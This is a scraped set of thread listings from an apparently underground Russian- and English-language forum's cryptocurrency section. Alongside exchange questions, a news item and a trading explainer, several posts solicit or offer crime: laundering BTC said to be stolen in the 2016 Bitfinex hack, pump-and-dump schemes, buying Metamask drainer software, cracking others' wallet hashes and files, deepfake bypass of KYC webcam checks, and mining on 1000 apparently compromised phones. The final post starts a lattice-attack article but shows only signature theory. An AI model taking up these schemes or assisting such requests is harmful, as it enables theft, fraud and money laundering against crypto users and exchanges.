Few days ago I hear about some fake usdt transaction, I understood that you can see the funds in your wallet for 24 hours and then it disappear
can someone please explain me how I notice fake translation and how it made?

need to change 3 btc to cash
ID: 67686ad7b4103b69df37999f
Thread ID: 56753
Created: 2021-09-16T17:38:05+0000
Last Post: 2022-01-28T22:42:29+0000
Author: climatemutatio
Replies: 26 Views: 1K

Hello, i wanted to ask for community members if anyone used any of that exchanges and if i can trust them on 3 BTC exchange:

![best-obmen.com](/proxy.php?image=https%3A%2F%2Fbest-obmen.com%2Fwp- content%2Fuploads%2Fcropped-2018-12-03-12.58.49.jpg&hash=57a054815ccdac78b83c3ac95348b72b&return_error=1)

[ Best Obmen — онлайн обменник электронных валют и криптовалют

](https://best-obmen.com)

Обналичивайте или вывоводите криптовалюту на карту в кратчайшие сроки и по лучшему курсу на сайте онлайн обменника Бест Обмен.

![best-obmen.com](/proxy.php?image=https%3A%2F%2Fbest-obmen.com%2Fwp- content%2Fuploads%2Fbest-obmen-favicon- logo.png&hash=b831e9a541b47680d313154c48c68c64&return_error=1) best-obmen.com

Выгодно обменять Киви рубли на ADV доллары

Prostocash.com является лучшим в области качественных услуг обмена онлайн. Провести быстрый и выгодный обмен в нашем сервисе очень легко.

prostocash.com

Обменный пункт электронных валют Alfa.exchange

Обменный пункт электронных валют Alfa.exchange

![alfa.exchange](/proxy.php?image=https%3A%2F%2Falfa.exchange%2Fwp- content%2Fuploads%2Ffavicon-32x32.png&hash=d89b1a37af8e6fb61490cd63de77ff65&return_error=1) alfa.exchange

I want to get BTC > to EUR/USD in one of EU country. Any advice. Thanks.

ID: 67686ad7b4103b69df3799a8
Thread ID: 60983
Created: 2022-01-07T14:55:50+0000
Last Post: 2022-01-18T13:51:48+0000
Author: pmk
Replies: 9 Views: 1K

Какой топ кош для хранения крипты на данный момент?
ID: 67686ad7b4103b69df3799cc
Thread ID: 57453
Created: 2021-10-06T19:19:02+0000
Last Post: 2021-11-13T17:37:55+0000
Author: SouthFox
Replies: 24 Views: 1K

Какой топ кошелёк для отправки\приёма крипты на данный момент?
Интересует максимально простой софт с возможностью оплаты на btc коши состоящие из маленьких символов и с возможностью выбора любой комиссии перевода.

Софт для автоматического списания $ с Metamask.
ID: 67686ad7b4103b69df3799cd
Thread ID: 57424
Created: 2021-10-06T09:14:52+0000
Last Post: 2021-11-13T16:30:41+0000
Author: itsme911
Replies: 8 Views: 1K

Часто стали попадаться логи с метамаском, где BEP-20 токены, автоматически переводятся на кошелек злоумышленника.
Это не дает забрать NFT с кошелька жертвы.

1. Есть идеи, как с этим бороться?
2. Где можно найти/приобрести такой софт?

Биржи без KYC
ID: 67686ad7b4103b69df3799d3
Thread ID: 57630
Created: 2021-10-12T12:23:36+0000
Last Post: 2021-11-06T10:04:02+0000
Author: Kgfdr
Replies: 23 Views: 1K

Подскажите биржи которые позволяют работать с суммами до 10000-15000$ или 1btc без KYC. Чтоб без мозготраха с выводом и локом денег и тд.
Желательно те которыми пользуетесь сами.

Что скажите про kucoin, kraken, poloniex и okex?
На их сайтах написанно одно, но как оно на практике иметь с ними дело?

what to invest in
ID: 67686ad7b4103b69df3799dd
Thread ID: 56027
Created: 2021-08-30T10:04:14+0000
Last Post: 2021-10-07T15:23:07+0000
Author: 380lover
Replies: 27 Views: 1K

valutazioni sulle criptovalute su cui investire. le tue opinioni

Аналитик Bloomberg назвал имя создателя биткоина
ID: 67686ad7b4103b69df3799e8
Thread ID: 55487
Created: 2021-08-18T11:13:36+0000
Last Post: 2021-09-06T00:25:24+0000
Author: Rehub
Replies: 6 Views: 1K

Сегодня вроде не пятница и не 1е апреля, но здесь вот опять:

Главный аналитик Bloomberg Эрик Балчунас (Eric Balchunas) поделился своим мнением по поводу того, кто является создателем самой популярной криптовалюты мира. Он считает, что за псевдонимом Сатоси Накамото (Satoshi Nakamoto) скрывался программист Хэл Финни (Hal Finney)
В сообществе, связанном с криптовалютами, Финни известен, как один из первых сторонников биткоина. Он принимал участие в разработке криптовалюты и провёл первую биткоин-транзакцию с загадочным Сатоси Накамото в январе 2009 года. Финни умер в 2014 году в возрасте 58 лет. Причиной смерти талантливого программиста стал боковой амиотрофический склероз.
Эрик Балчунас пришёл к выводу о том, что именно Финни является создателем биткоина, после того, как ознакомился с публикацией программиста на одном из форумов в 1993 году. В ней Финни рассуждал об идее создания криптовалютных торговых карт, принцип работы которых схож с невзаимозаменяемыми токенами (NFT).
Стоит отметить, что состояние создателя биткоина Сатоси Накамото, который по разным оценкам владеет от 750 тыс. до 1,1 млн биткоинов, в апреле этого года оценивалось в $61 млрд. На прошлой неделе суммарная капитализация криптовалютного рынка превысила $2 трлн, чему способствовал устойчивый рост биткоина и некоторых других криптовалют. На тот момент биткоин торговался на уровне $48 100, но с тех пор его цена несколько снизилась и на момент написания этой заметки за единицу самой популярной криптовалюты мира давали $45 299.
Source:
twitter.com/EricBalchunas/status/1426876532933500929
twitter.com/documentether/status/1426608517541089280

Мошенники которые наказывают мошенников)
ID: 67686ad7b4103b69df3799ef
Thread ID: 54774
Created: 2021-08-03T17:01:44+0000
Last Post: 2021-08-28T16:14:27+0000
Author: lohatnikov
Replies: 21 Views: 1K

Хочу описать известную схему которая достигла полного абсурда.

Какой-нибудь человечек палит типа случайно приватный ключ от кошеля эфира. типа не могу зайти в mywallet, а у меня там токенов на 4000$
адрес: 58730a0bda93148b0dad0abffaf9b85d28e3e2a7a4591dfe97195562aaa4ea35
приватник: 0x47E99882e38616255D69B2fE7a6b7F5E30B73527

лохи бросаются. а там реально токенов на 4000 но эфира нет на вывод и кидают туда эфир. ор да и только)

а недавно еще появились чуваки которые продают ботов, мошенникам которые хотят кинуть мошенников и вроде тоже кидают) такая вот скаммерская многоножка ?

не попадайтесь на уловки)

wallet.dat of miner. All clean BTC. Who can decrypt?
ID: 67686ad7b4103b69df3799f2
Thread ID: 55518
Created: 2021-08-18T20:24:13+0000
Last Post: 2021-08-22T01:08:59+0000
Author: Windefender
Replies: 3 Views: 1K

Posting the hash. Will share 30% Balance is more than 1000 BTC.

HTML:Copy to clipboard

 $ bitcoin $ 64 $ 3ba687f5d2cf0818ede907ecb75057e695ecbf5103f5b085c974cfb9e6fbb577 $ 16 $ f38fb9bf54b79afc $ 17948 $ 2 $ 00 $ 2 $ 00
Анонимный прием платежей worldwide
ID: 67686ad7b4103b69df379a02
Thread ID: 43248
Created: 2020-10-16T11:25:39+0000
Last Post: 2021-08-04T17:46:08+0000
Author: rokkkkkko
Replies: 2 Views: 1K

Столкнулся с необходимостью принимать платежи от физлиц с worldwide геолокацией, суммы по $50-$200. Главные критерии: моя анонимность + удобство для тех кто платит + абузоустойчивость платежного метода, что бы деньги не заморозились при первой же жалобе, как это бывает с пейпал счетами.

Принимал оплаты гифтами, но терять по 15-20% с каждой оплаты гифтом нерационально. Дальше деньги я перевожу в биткоины.

У тех кто платит, а это в основном европа+сша есть пейпал, но я так и не нашел адекватных сервисов (без геморроя) где можно за палку купить бтц. Какие есть варианты?

Курс криптовалют на панели задач
ID: 67686ad7b4103b69df379a0e
Thread ID: 53830
Created: 2021-07-09T14:16:12+0000
Last Post: 2021-07-09T14:16:12+0000
Author: Samorez
Replies: 0 Views: 1K

Не могу придумать как поставить актуальный/обновляемый курс криптовалют на панели xfce, чтобы время выставить обновления и обновлять вручную нажатием на кнопку панели. Кто пользуется опубликуйте ваши скрипты. Привествуется методы к другим системам и рабочим столам. Нужен какой то лёгкий вариант, conky не хочу. Пока сам ищу решил спросить, может уже готовое есть решение.

P.S: без смс и регистрации на биржах.

Жив ли майнинг?
ID: 67686ad7b4103b69df379a11
Thread ID: 53430
Created: 2021-06-29T10:11:39+0000
Last Post: 2021-06-29T16:46:24+0000
Author: RedDragon
Replies: 11 Views: 1K

Привет, собственно вопрос в заголовке и следующий вопрос есть ли сейчас в паблике нормальный софт ?

кто-нибудь хочет быстро заработать в сети BSC?
ID: 67686ad7b4103b69df379a14
Thread ID: 51554
Created: 2021-05-09T01:25:03+0000
Last Post: 2021-06-23T18:55:23+0000
Author: indounderground
Replies: 8 Views: 1K

is anyone interested in investing in my work?
I pump and drop coins in the BSC chain
profit ranges from 10k to 50k in 4-7 days depending on the budget I spend on marketing
write me if interested, comrade
I need about 1-3 billion for the project of the coin, and about the distribution of profits, we can first talk

2016 Bitfinex Hack Кошелек
ID: 67686ad7b4103b69df379a1a
Thread ID: 52261
Created: 2021-05-28T19:32:08+0000
Last Post: 2021-05-28T22:43:19+0000
Author: zedthh97
Replies: 2 Views: 1K

In August of 2016, Bitfinex announced devastating news. Hackers had infiltrated the popular Hong Kong-based exchange and stolen 119,756 bitcoin worth about $72 million in the largest hack of its kind to date. Since then hackers have sold much of those BTC through obscure deals and below market prices.

On this occasion I have access to more than 200 BTC from that wallet. and I want to sell them. Exchange for other cryptocurrencies, I know that this post will cause a stir and possibly the admin will delete it and be banned from this forum, but before that, I leave my contact in Jabber so that we make the deal, I want to exchange BTC for other cryptocurrencies offering a discount of 50%

It is evident that I cannot send these BTC to an exchange because they would be blocked, so I resort to this forum to wash BTC in .
I only handle one contact and it's for serious inquiries: sershr@onionmail.org

Я больше не буду подключаться к этому, пока.

что думаете о Chia IOU (XCH)
ID: 67686ad7b4103b69df379a27
Thread ID: 51395
Created: 2021-05-04T20:19:34+0000
Last Post: 2021-05-07T23:17:50+0000
Author: BlackBet
Replies: 18 Views: 1K

Интересно мнение

Зависла транзакция
ID: 67686ad7b4103b69df379a29
Thread ID: 50932
Created: 2021-04-22T07:49:50+0000
Last Post: 2021-05-01T19:16:46+0000
Author: finkrer
Replies: 14 Views: 1K

Почти третий день висит транза, комисия указана не маленькая...
если у кого есть возможность ускорить, т.к срочно в данный момент нужны деньги, был бы очень благодарен ?

5ba7aad2cd017ca40822f0a5dd40a213877c6611d02e5343835eeca7d9741b52

Лучшая крипта для веб майнинга на андроиде и в браузере на 2021?
ID: 67686ad7b4103b69df379a36
Thread ID: 48527
Created: 2021-02-23T17:01:11+0000
Last Post: 2021-02-25T01:00:04+0000
Author: user908768
Replies: 7 Views: 1K

Сабж.
Имеется 1000 мобилок под контролем, какую крипту майнить?
Можно либо через ВебВью либо нативно.
Какие мысли?

Ноутбук для майнинга
ID: 67686ad7b4103b69df379a37
Thread ID: 47743
Created: 2021-02-07T12:28:28+0000
Last Post: 2021-02-24T16:25:48+0000
Author: pablo
Replies: 5 Views: 1K

![www.ixbt.com](/proxy.php?image=https%3A%2F%2Fwww.ixbt.com%2Fimg%2Fn1%2Fnews%2F2021%2F1%2F6%2FLaptop- Mining_large.jpg&hash=848110c87f673a080a91688a2e2043ae&return_error=1)

[ Китайцы массово скупают ноутбуки с видеокартами GeForce RTX 3070 и

используют их для майнинга Etherium ](https://www.ixbt.com/news/2021/02/06/geforce-rtx-3070-etherium.html)

Для майнеров все средства хороши. Дефицит на рынке видеокарт для настольных компьютеров привёл к тому, что добытчики криптовалют переключились на ноутбуки с новейшими видеокартами Nvidia серии Ampere.

www.ixbt.com www.ixbt.com

www.ixbt.com

[ Майнинг на ноутбуке прямо в кафе позволяет окупить купленный там кофе

](https://www.ixbt.com/news/2021/02/06/majning-na-noutbuke-prjamo-v-kafe- pozvoljaet-okupit-kofe.html)

Как мы сегодня узнали, на фоне очередного бума криптовалюты майнеры взялись скупать в том числе игровые ноутбуки на основе видеокарт GeForce RTX 30.

www.ixbt.com www.ixbt.com

Что думаете? Разве это реально в 21м году - майнить на GeForce RTX 3070?

Delete
ID: 67686ad7b4103b69df379a38
Thread ID: 48217
Created: 2021-02-17T04:48:25+0000
Last Post: 2021-02-17T22:39:13+0000
Author: dedmazai
Replies: 2 Views: 1K
Взлом кошелька Scatter
ID: 67686ad7b4103b69df379a3b
Thread ID: 47987
Created: 2021-02-12T03:41:41+0000
Last Post: 2021-02-13T13:00:25+0000
Author: Equilibrium Team
Replies: 2 Views: 1K

У меня есть scatter.json от кошелька Scatter, могу ли я как то импортировать его в сам кошелек или найти хеш от адресов? Особо вникать времени нет сейчас, но жаль что пропадают кошельки ( их у меня довольно много ) с оценочными балансами от 10 до 200к$

Мейби кто использовал эту ноунеймную штуку и знает решение. И нет, кроме .json файлов ничего нет. Только они.

KYC Webcam verification
ID: 67686ad7b4103b69df379a43
Thread ID: 46484
Created: 2021-01-08T14:43:17+0000
Last Post: 2021-01-16T15:16:16+0000
Author: XMSS
Replies: 1 Views: 1K

Popular exchanges like bitstamp/localbitcoins require webcam link.
Anyone here able to bypass the webcam link?
Maybe emulate the webcam and use deepfake?
Let me know. Will pay well for help.
xmss@xmpp.is

Перевод крипты (Monero) в кэш
ID: 67686ad7b4103b69df379a46
Thread ID: 46634
Created: 2021-01-12T15:18:17+0000
Last Post: 2021-01-13T02:29:48+0000
Author: Default
Replies: 8 Views: 1K

Вопросы по теме кэша

Как лучше всего перевести крипту (Monero) в кэш, если надо: быстро, надежно, безопасно и без лишних вопросов?
Как лучше это сделать: в обменниках, на биржи или что-то другое?

P.s: сумма большая

Вопрос по кошельку Электрум
ID: 67686ad7b4103b69df379a52
Thread ID: 45265
Created: 2020-12-07T12:00:32+0000
Last Post: 2020-12-09T10:53:25+0000
Author: SkyFrode
Replies: 6 Views: 1K

You must have at least 50 reaction(s) to view the content.

Как найти транзакцию в блокчейн эксплорере?
ID: 67686ad7b4103b69df379a53
Thread ID: 44876
Created: 2020-11-27T15:23:07+0000
Last Post: 2020-11-28T12:53:44+0000
Author: rokkkkkko
Replies: 2 Views: 1K

Нетривиальный вопрос.

Есть одна bitcoin транзакция, нужно узнать с какого кошелька она была сделана. Есть вот такая информация: точная дата и время транзакции до минут, но неизвестно по какому часовому поясу, точная сумма перевода, первые 10 символом кошелька-получателя.

Пытался искать на блокчейн-эксплорере, нашел примерно 2-3 блока за те даты, которые попадают во временной диапазон, но в каждом блоке по 1000+ транз, нету поля для поиска, и всего по 10 транз на 1 страницу, искать ручками тяжело. Может есть у кого какие-то инструменты на примете, гуглил - них*я не нашел.

Инструкция: как купить биткоин без комиссии
ID: 67686ad7b4103b69df379a56
Thread ID: 44660
Created: 2020-11-22T17:53:35+0000
Last Post: 2020-11-22T17:53:35+0000
Author: Tubu
Replies: 0 Views: 1K

В этой статье я хочу поделиться своим практическим опытом, как купить биткоин без посредников, а значит и без лишних затрат. Также статья будет полезна тем, кто желает научиться осуществлять валютные переводы без комиссии.

Лично для себя, считаю самым надежным способом хранить биткоины в “мозговом кошельке”. Для каких-то небольших сумм, можно использовать кошелёк внутри криптовалютной биржи. Покупать биткоин мы будем на бирже. Это самый экономичный способ, на мой взгляд. Покупка в многочисленных обменниках и прочих сервисах не рассматривается, так как цена там, как правило, выше на 5-10%

1. Меняем рубли на доллары

Купить биткоины по самому выгодному курсу можно только за доллары. Поэтому на начальном этапе следует обменять рубли на валюту. В банке доллары продают по завышенной цене. Например, сейчас можно купить 1 доллар за 80,39 руб. А на Московской бирже за 80,89 руб. Экономия составит примерно 0,8%! Достаточно удобно, можно купить валюту на бирже через мобильное приложение Альфа.Директ. Минимальная сумма покупки (лот) - $1000. Комиссия брокера составит примерно 0,18%. Как итог, на валютной бирже можно приобрести доллары на 0,6% дешевле, чем в банке.
1.png
2. Переводим доллары на биржу

Валютный перевод - это, пожалуй, самый важный момент в экономии средств. Во- первых, при переводе долларов с вас возьмет комиссию банк отправитель - примерно 1%. Во-вторых, при зачислении средств на биржу банк получатель спишет с вашего депозита комиссию $20-$50. А в-третьих, сама биржа при зачислении средств может дополнительно списать 1-3%. Итого ваши потери составят около 5%.
Однако, если подобрать “правильных” партнёров и соблюсти ряд специальных правил, валютный перевод можно осуществить с 0% комиссией!
Для начала выберите надежную криптобиржу c бесплатным депозитом. В этом плане мне нравится CEX
2.png
Узнайте в своем банке, на каком тарифе можно осуществлять валютные переводы без комиссии. Например, в Альфа-Банке такой тариф: “Максимум+”. Стоимость обслуживания 3000 рублей в месяц или бесплатно, если на счету более 1 млн. руб.

Чтобы с вас не списал комиссию банк получатель, НЕ нужно при переводе указывать банк-корреспондент. Даже если банк-корреспондент есть в реквизитах биржи, указывать его не обязательно, денежные средства дойдут в любом случае.
3.png
Также при переводе необходимо прикрепить “Обосновывающий документ”, иначе банк перевод не выполнит.

3. Покупаем биткоин на бирже

Депозит, отправленный рано утром в рабочий день, уже к вечеру может быть зачислен на биржевой счёт. Теперь необходимо разместить лимитный ордер на покупку биткоина. Комиссия со сделки составит 0,16%
4.png
Вывод

В итоге, общие затраты на покупку биткоина составят не более 0,35% от депозита. При серьёзных оборотах экономия в 5% может оказаться значительной суммой, тем более если вы занимаетесь арбитражем или решили открыть свой собственный обменник.

Препейд карта
ID: 67686ad7b4103b69df379962
Thread ID: 42732
Created: 2020-10-01T12:10:38+0000
Last Post: 2022-05-30T18:20:42+0000
Author: whataceiling
Replies: 5 Views: 1K

Здравствуйте, можете подсказать сервис препейд карт, покупаемых за битки? Заранее спасибо.

Ввод в мир трейдеров: жители биржи
ID: 67686ad7b4103b69df379935
Thread ID: 67347
Created: 2022-05-19T22:18:34+0000
Last Post: 2022-07-24T10:50:03+0000
Author: fmtl1
Prefix: Статья
Replies: 2 Views: 1K

1652997553100.png

Кто есть кто на бирже?​

Несложно отличить быков от медведей и акул от хомяков. Но это вряд ли поможет поддержать беседу в компании прожженных трейдеров. Такая прикладная зоология — только часть сложного многообразия населения биржи.

Этот материал посвящен другому варианту классификации трейдеров, связанному с подходом к торговле, а не с направлением сделок и профессионализмом. Мы рассмотрим типы трейдеров и их особенности, а еще расскажем об их естественной среде обитания.

Дисклеймер:
Материал предназначен для ознакомления и развлечения. Текст может содержать несерьезности, глютен и следовые концентрации арахиса. Используйте осторожно, но показывайте друзьям.

Кто такие трейдеры?​

1652997664800.png

Трейдеры — это те, кто торгует каким-либо активом: зерном или нефтью, ценными бумагами или валютами. Главное — прибыль. Мы будем говорить о трейдерах, которые торгуют на фондовых и криптовалютных биржах.

Благодаря популярной культуре, в представлениях обычного человека работа трейдера — кричать в телефонную трубку, размахивать бумагами и нюхать кокаин в самых неожиданных местах. Это устаревшее и искаженное представление: на смену телефонам и бумагам давно пришли онлайн-интерфейсы. А если серьезно, профессиональный трейдинг — тяжелая и нервная работа, которая вознаграждает рассудительных и трезвых.

Среда обитания — биржа​

1652997736000.png

Чаще всего трейдеров можно встретить на биржах. Если совсем точно, биржа — это организация, которая обеспечивает работу рынка товаров, валют, ценных бумаг или криптовалют. Но в быту биржей называют торговую площадку, на которой трейдеры договариваются о сделках. В кино это показывают как место, где люди громко кричат в телефонные трубки и размахивают бумагами. Это помещение называется торговым залом, но с развитием интернета такие залы ушли в прошлое.

Современная биржа выглядят как онлайн-интерфейс со счетами, графиками и списками заявок. Примерно вот так:
1652997796600.png

Через биржи проходит много денег. За 2018 год общая стоимость купленных и проданных акций составила $68.2 триллиона. Это в 3 раза больше, чем ожидаемый ВВП США на 2019 год, и в 378 раз больше, чем рыночная капитализация биткоина. Но на биржах торгуют не только акциями.

Биржи разделяют на виды в зависимости от активов, которыми на них торгуют.

1652999207000.png
Фондовая биржа — это площадка, где торгуют ценными бумагами вроде акций и облигаций. Когда компания проводит первичное предложение акций, эти акции попадают на фондовую биржу. Крупнейшие фондовые биржи мира — NYSE Euronext и NASDAQ.

1652999235600.png
Валютная биржа — это рынок национальных валют. Здесь по законам спроса и предложения определяются курсы валют мира по отношению друг к другу. Рынок валют называют Форекс (от англ. Foreign exchange).

1652999255500.png
Товарная биржа — это площадка для торговли товарами. На таких рынках торгуют сырьем вроде нефти, металлов или зерна. На товарных биржах можно торговать деривативами — контрактами на поставку сырья по заранее установленной цене в определенное время.

С приходом биткоина в мире возник новый тип финансовых инструментов — криптовалюты. Для торговли этими инструментами возник новый вид бирж — криптовалютные биржи. Торговля на криптовалютных биржах подчиняется тем же законам спроса и предложения, что и на традиционных биржах, но специфика криптовалют привела к отличиям между этими торговыми площадками.

На традиционных биржах разрешено торговать только аккредитованным инвесторам и брокерам. Для людей без крупных сумм на банковских счетах доступ на такие площадки ограничен, они могут торговать только через посредника — брокера. Криптовалютные биржи доступны для всех, разве что на некоторых придется пройти KYC. Регуляции, ограничивающие доступ к таким площадкам, касаются только географии и распространяются лишь на некоторые страны. Кроме того, многие криптовалютные биржи идут по пути децентрализации. Такие площадки используют гейты для хранения и обработки сторонних криптовалют, а смарт-контракты применяют для обработки сделок и транзакций внутри системы.

Многообразие трейдеров​

Трейдеры бывают разные. Настолько разные, что им необязательно быть людьми. В широком смысле трейдером может быть учреждение вроде пенсионного фонда или даже робот, правда, здесь тоже не обходится без человеческого участия.

Интрадей-трейдеры​

1652999291200.png
Интрадей-трейдеры — это обобщенный тип трейдеров, которых объединяет принцип проводить все сделки в рамках одного торгового дня. Чтобы получить больше прибыли и компенсировать возможные потери, интрадей-трейдеры обычно открывают сразу несколько позиций. Даже убыточные позиции придется закрыть в конце дня, и пара успешных сделок позволит перекрыть убытки и выйти с прибылью.

Предсказать колебание цен внутри торгового дня очень сложно. Интрадей-трейдер не может надолго отходить от монитора с графиками и свежими новостями, чтобы не пропустить важное движение. Все осложняется тем, что традиционные биржи работают в разных часовых поясах, поэтому по местному времени трейдера торговый день может начинаться поздним вечером и кончаться ранним утром.

Эксперты Xena Exchange:
Иногда в 7 часов вечера интрадей-трейдера можно застать за восклицаниями вроде «Вот это денек!» или «Сэр стерлинг, вы сделали мой день!». Считается, что в рядах интрадей-трейдеров много опытных игроков, которые агрессивно ведут себя в дни выхода финансовых отчетов и других важных рыночных новостей. Фундаментальный трейдинг — их фишка. Они выжимают максимум из часовых и четырехчасовых свечей на графике. «Тем не менее это был хороший день», — скажет интрадей-трейдер посреди ночи.

Скальперы​

1652999314000.png
Скальперы — это подвид интрадей-трейдеров, которые торгуют в очень коротких временных промежутках: от считанных секунд до нескольких минут. Подход скальпера — быстро взять небольшую прибыль и повторить процедуру много раз за одну торговую сессию.
Одно из существенных ограничений скальпинга — комиссии торговой площадки. Скальперы выигрывают за счет множества сделок с небольшой прибылью, а значит комиссия за каждую сделку быстро накопится и может заметно повлиять на прибыльность торгового дня.

Эксперты Xena Exchange:
Скальпер — это скалолаз. Говорят, у них стальные нервы, потому что ставка скальпера может составлять миллионы долларов, а закрываться за 4 секунды. Опытные скальперы четко планируют свои высокочастотные сделки на ближайшие 15 минут. Такие трейдеры обычно спокойные и расслабленные, но самое главное — они никогда не винят рынок в своих потерях. Профессиональные скальперы всегда благодарны рынку за те несколько секунд, которые сделали их счастливыми (или не очень).

Позиционные трейдеры​

1652999337000.png
Позиционные трейдеры торгуют по тренду в больших временных рамках и не отвлекаются на мелкие краткосрочные колебания цены. Это очень похоже на инвестирование. Позиционных трейдеров интересует долгосрочная тенденция, которая может длиться месяцами. При этом не так важно, растет цена или падает, заработать можно в обоих случаях.

Позиционные трейдеры долго держат позиции. Нужно иметь терпение и приличный депозит, чтобы выдержать возможные скачки цены. Кроме этого, для позиционного трейдера важно хорошо разбираться в активах, которыми он торгует.

Одна из базовых задач позиционного трейдера — выявить долгосрочный тренд и момент, когда нужно открыть позицию.

Основной инструмент для этой задачи — фундаментальный анализ макроэкономических показателей актива и индустрии, но пригождается и технический анализ. Например, если график цены актива пересек линию скользящей средней в интервале 40 недель, это можно считать сигналом для открытия позиции.

Эксперты Xena Exchange:
Позиционных трейдеров иногда называют «больными трейдерами» из-за их постоянной головной боли от состояния рыночных позиций. Обычно портфолио- менеджеры просят позиционных трейдеров походлить актив с целью увеличения прибыли, но реальность нередко отличается от ожиданий. Случается, что клиенты жалуются на некоторую неадекватность позиционных трейдеров, когда те долго управляют средствами, но в конце концов такие трейдеры лишь сводят позиции в ноль.

Свинг-трейдеры​

1652999359200.png
Свинг-трейдеры играют на краткосрочных колебаниях цены во время долгосрочного тренда. Когда цена актива растет на протяжении нескольких недель, свинг- трейдер ждет волны сделок против восходящего тренда. В сильном восходящем тренде такие сделки ненадолго снижают цену актива, но рост скорее всего продолжится, а значит — самое время купить дешевле.

Если все пошло по плану, краткосрочная волна продаж заканчивается и сменяется восходящим трендом. Теперь свинг-трейдер может подождать, пока цена дорастет до желаемого уровня и продать актив с прибылью. Чаще всего свинг-трейдеры держат открытые позиции от нескольких часов до нескольких дней, в исключительных случаях — пару недель.
Свинг-трейдер использует методы торговли, которые позволяют ему зарабатывать на цикличности движения цены.
Эксперты Xena Exchange:
Свинг-трейдер , вероятнее всего, окажется победителем только в средне- и долгосрочной перспективе. В каком-то смысле этот тип трейдеров следует за контртрендовыми инвестиционными атаками крупного капитала. Этот условно иррациональный подход может распространяться не только на их поведение на рынке, но и на повседневную жизнь. Для свинг-трейдера одинаково хороши оба варианта: последовать тренду или вовсе его проигнорировать. Главное — ответить на вопрос: «где хорошие деньги, за которыми можно пойти?».

Арбитражеры​

1652999380500.png
Арбитражные трейдеры играют на разнице в цене актива на разных рынках. Их мало интересует технический и фундаментальный анализ, сигналы и прочая макроэкономика. Вместо этого для арбитражного трейдера важно знать цену актива на нескольких рынках и понимать, изменится ли она за время сделки.

Успех арбитражных сделок зависит от скорости обработки заявок, комиссий и относительного спокойствия на рынке — отсутствия резких колебаний цены.

Главный враг арбитражера — затраты на ввод и вывод средств на разных площадках. Ему придется заплатить за внесение и вывод средств на биржах, между которыми перемещается актив. К этому добавляются комиссии на сделки на обеих площадках.
Эксперты Xena Exchange:
Арбитражные трейдеры одновременно продают и покупают актив на разных площадках, чтобы получить прибыль с разницы в ценах. Они играют на разницах в цене идентичных или похожих финансовых инструментах на разных рынках. Здесь мораль в том, чтобы не прыгать слишком далеко или слишком близко.

Роботрейдеры​

1652999412800.png
Роботрейдеры используют специальные алгоритмические системы для совершения сделок. Хозяин торгового робота формирует специальную программу — стратегию, которой робот будет следовать на рынке. Такая автоматизация обеспечивает трейдеру преимущества в виде очень быстрой реакции на движения рынка и способности вести сложные расчеты. Кроме того, робот не отвлекается от работы и не испытывает эмоций, которые могут помешать человеку держаться выбранной стратегии.

Робота можно запрограммировать на разные подходы к трейдингу. Таким образом, роботрейдеров нельзя обобщить в условный тип трейдеров, как скальперов или позиционных трейдеров.

Роботрейдинг иногда называют ошибочно алгоритмической торговлей. Алгоритмическая торговля — это способ уменьшить затраты на исполнение крупной заявки и ее влияние на рынок. Для этого специальные алгоритмы делят большие заявки на несколько маленьких и отправляют их на рынок в подходящее время.

Эксперты Xena Exchange:
Роботрейдер — что за сделка с системой! Сегодня в основном трейдеры старой школы торгуют вручную. Роботрейдеры доверяют проведение транзакций, открытие позиций и другие подобные задачи беспристрастному механизму — торговому роботу. Такой робот не подвержен эмоциям и следует заложенной в него программе, не отвлекаясь ни на что. Главное здесь — делать все планомерно и не допускать сделок, которые противоречили бы стратегии трейдера.

Аутро​

Мы рассмотрели базовые виды трейдеров в зависимости от подхода к торговле. Это очень условное деление, и любой обитатель биржи может менять свой подход или совмещать несколько одновременно.

Еще один дисклеймер:

На результат может повлиять ваше настроение, возраст, кулинарные предпочтения, политическая ситуация в мире, размер члена, лунные сутки, окрас кота соседки, скорость лоукика в голову и т.д. Это не руководство к действию и не совет по стратегиям трейдинга. Используйте только в целях развлечения и делитесь результатами в социальных сетях.

(копипаст) С помощью Lattice Attack мы получили Private Key к монетам BITCOIN
ID: 67686ad7b4103b69df379931
Thread ID: 70601
Created: 2022-07-24T14:40:55+0000
Last Post: 2022-07-25T09:38:56+0000
Author: zabki
Prefix: Статья
Replies: 3 Views: 1K

Что мы знаем про решетчатую атаку?

Click to expand...

Начнем с того что алгоритм цифровой подписи на эллиптических кривых (ECDSA) — это распространенная схема цифровой подписи, которую мы видим во многих наших обзорах кода. Он обладает некоторыми желательными свойствами, но также может быть очень хрупким для восстановления закрытого ключа с помощью атаки по побочному каналу, раскрывающей менее одного бита секретного одноразового номера.

ECDSA — это особая форма алгоритма цифровой подписи (DSA). DSA — это довольно распространенная схема цифровой подписи , которая определяется тремя алгоритмами: генерация ключа, подпись и проверка. Алгоритм генерации ключей генерирует закрытый и публичный ключи; закрытый ключ отвечает за создание подписей; а публичный ключ отвечает за проверку подписей. Алгоритм подписи принимает в качестве входных данных сообщение и закрытый ключ и создает подпись. Алгоритм проверки принимает в качестве входных данных сообщение, подпись и публичный ключ и возвращает значение true или false, указывая, является ли подпись действительной.

Click to expand...

DSA определяется для любой математической группы, и эта схема безопасна до тех пор, пока проблема дискретного логарифмирования сложна для этой группы. Обычно используемая группа представляет собой целые числа по модулю простого числа p .

Наряду с этой группой у нас будет генератор группы g и некоторая криптографически безопасная хэш — функция H. Мы можем предположить, что p , g и H будут общеизвестны.

Генерация ключей работает, сначала случайным образом выбирая значение x из целых чисел по модулю p . Затем вычисляется значение y = g^x mod p

Закрытый ключ подписи имеет значение x , а публичный ключ — y . Ключ подписи должен храниться в секрете, поскольку именно он позволяет делать подписи.

Click to expand...

Алгоритм подписи создает подпись из сообщения m и секретного ключа x . Сначала генерируется случайный элемент группы k . Это известно как одноразовый номер , что важно, когда речь идет об атаках.

Затем вычисляются значения r = g^k mod p и s = ( k^-1 ( H ( m ) + xr )) mod p

Здесь k^- 1 — обратная группа, а H ( m ) — результат вычисления хэша mи интерпретация результата как целое число по модулю p .

Подпись определяется как пара ( r , s ). (Примечание: если одно из значений r или sравно 0, алгоритм перезапускается с новым значением k ).

Алгоритм проверки получает на вход подпись ( r , s ), сообщение m и публичный ключ y . Пусть ŝ = s^-1 , тогда алгоритм выдает истину тогда и только тогда , когда r , s ≠ 0 и r = ( g H ( m ) y r ) ŝ .

Эта проверочная проверка работает, потому что g^H( m ) y^r = g^H(m)+ xr = g^ks, и поэтому (g^H(m)y^r)^ŝ = g^k = r

Схема цифровой подписи считается безопасной, если ее невозможно подделать .

Click to expand...

